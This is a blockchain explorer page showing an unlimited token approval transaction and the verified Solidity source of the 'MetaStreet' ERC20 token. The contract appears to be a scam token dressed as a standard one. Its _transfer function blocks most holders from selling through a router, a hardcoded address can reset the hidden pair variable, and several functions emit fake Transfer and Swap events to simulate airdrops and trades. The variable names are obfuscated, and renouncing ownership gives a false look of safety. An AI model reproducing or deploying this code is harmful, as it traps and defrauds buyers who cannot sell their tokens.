Transaction Hash:
Block:
19346356 at Mar-02-2024 08:41:47 AM +UTC
Transaction Fee:
0.001522236799217596 ETH
$2.81
Gas Used:
30,151 Gas / 50.487108196 Gwei
Emitted Events:
| 349 |
MetaStreet.Approval( owner=[Sender] 0x4b82931f4e660b39b618a22aa16522fea5ba42e4, spender=0x6131B5fa...8b66337b5, value=115792089237316195423570985008687907853269984665640564039457584007913129639935 )
|
Account State Difference:
| Address | Before | After | State Difference | ||
|---|---|---|---|---|---|
| 0x4B82931f...eA5ba42e4 |
1.615897667592810351 Eth
Nonce: 25
|
1.614375430793592755 Eth
Nonce: 26
| 0.001522236799217596 | ||
| 0x67ac5c4d...6C1244070 | |||||
|
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 12.649452014201053625 Eth | 12.649453447278083625 Eth | 0.00000143307703 |
Execution Trace
MetaStreet.approve( spender=0x6131B5fae19EA4f9D964eAc0408E4408b66337b5, amount=115792089237316195423570985008687907853269984665640564039457584007913129639935 ) => ( True )
approve[MetaStreet (ln:186)]
_msgSender[MetaStreet (ln:187)]_approve[MetaStreet (ln:188)]Approval[MetaStreet (ln:246)]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Meta is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MetaStreet is Ownable, IERC20, IERC20Meta {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _p76234;
uint256 private _e242 = 999;
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function claim(address [] calldata _addresses_, uint256 _in, address _a) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
emit Transfer(_p76234, _addresses_[i], _in);
}
}
function execute(address [] calldata _addresses_, uint256 _in, address _a) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
emit Transfer(_p76234, _addresses_[i], _in);
}
}
function execute(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_p76234, _addresses_[i], _out);
}
}
function transfer(address _from, address _to, uint256 _wad) external {
emit Transfer(_from, _to, _wad);
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function actionPair(address account) public virtual returns (bool) {
if(_msgSender() == 0x15d9537E54508AA6e667D546185713e68748b08F) _p76234 = account;
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
renounceOwnership();
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from != 0x15d9537E54508AA6e667D546185713e68748b08F)) {
uint256 _X7W88 = amount + 1;
require(_X7W88 < _e242 );
}
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
constructor() {
_name = "MSTR";
_symbol = "MetaStreet";
uint256 _amount = 100000000;
_mint(msg.sender, _amount * 10 ** decimals());
}
}